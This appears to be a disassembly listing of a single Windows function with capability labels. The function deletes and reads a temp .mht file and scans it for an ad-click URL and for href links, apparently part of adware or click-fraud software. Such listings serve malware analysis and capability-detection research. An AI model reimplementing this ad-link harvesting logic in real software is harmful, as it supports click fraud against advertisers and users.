Function at 0x402090
Capabilities:
Delete file
Read file on windows

Disassembly:
sub esp, 0x90
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x200
xor eax, eax
mov edi, dword [esi + 0x60]
mov dword [esp + 0x14], esi
add edi, 0x804
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [esp + 0x20]
push str.c:windows_temp_sm_x.mht
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x1c]
mov ecx, esi
push edx
call fcn.00401fd0
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x1c]
push 0x40712c
push ecx
mov dword [eax], 2
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
mov dword [esp + 0x18], ebp
je 0x4022e8
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push ebx
push 2
push 0
push ebp
call edi
push ebp
call dword [sym.imp.MSVCRT.dll_ftell]
mov esi, eax
add esp, 0x10
test esi, esi
jle 0x4022cb
push 0
push 0
push ebp
call edi
lea edi, [esi + 0x400]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 0x10
mov dword [esp + 0x14], eax
test eax, eax
je 0x4022cb
mov ebx, dword [esp + 0x14]
mov ecx, edi
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 1
and ecx, 3
push esi
rep stosb byte es:[edi], al
push ebx
call dword [sym.imp.MSVCRT.dll_fread]
push str.http:__m.yz2.sm.cn_adclick_url
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
call ebx
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x4022f2
mov ecx, dword [esp + 0x18]
push 6
call fcn.00402350
test eax, eax
mov dword [esp + 0x10], eax
jg 0x4021b6
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0x10]
mov ebp, dword [esp + 0x14]
test eax, eax
jle 0x4022c7
push str.href_http:__
push ebp
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x4022c7
mov edi, str.href_http:__
or ecx, 0xffffffff
xor eax, eax
push 0x4070f8
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, esi
push ecx
call ebx
add esp, 8
test eax, eax
je 0x4022c7
sub eax, esi
cmp eax, 0xd
jle 0x4022c7
mov byte [eax + esi], 0
lea ebp, [eax + esi + 1]
mov edi, str.herf_http:__
or ecx, 0xffffffff
xor eax, eax
push str..png
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4022b3
push str..ico
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4022b3
push str..bmp
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4022b3
push str..org
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4022b3
push str..gov
push esi
call ebx
add esp, 8
test eax, eax
jne 0x4022b3
mov edx, dword [esp + 0x18]
mov ecx, 0x200
mov edi, dword [edx + 0x60]
add edi, 0x804
rep stosd dword es:[edi], eax
mov edx, dword [edx + 0x60]
mov edi, esi
or ecx, 0xffffffff
add edx, 0x804
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x10]
and ecx, 3
dec eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x10], eax
jmp 0x4022bb
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
test eax, eax
jg 0x4021c2
mov ebp, dword [esp + 0x1c]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x18]
add esp, 4
test eax, eax
pop ebx
je 0x4022e8
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
add esp, 0x90
ret
push 0x4070f8
push esi
call ebx
add esp, 8
test eax, eax
je 0x4022cb
mov byte [eax], 0
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffff8
cmp ecx, 0x7ff
jae 0x402328
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffff8
jmp 0x40232d
mov ecx, 0x7ff
push ecx
mov ecx, dword [esp + 0x1c]
add esi, 7
mov edx, dword [ecx + 0x60]
push esi
add edx, 0x804
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
jmp 0x4022cb